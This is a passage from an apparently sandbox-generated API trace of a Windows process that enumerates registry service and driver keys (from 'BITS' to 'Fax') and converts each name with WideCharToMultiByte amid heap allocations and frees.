(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.470] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0249.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0249.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.471] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0249.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0249.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.471] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0249.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0249.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.471] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0249.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0249.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.518] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0249.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0249.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.519] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0249.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0249.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.519] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0249.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0249.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.519] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0249.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0249.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.519] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0249.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0249.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.520] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0249.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0249.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.520] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0249.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0249.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.520] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0249.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0249.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.521] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0249.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0249.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.521] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0249.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0249.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.521] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0249.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0249.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.521] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0249.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 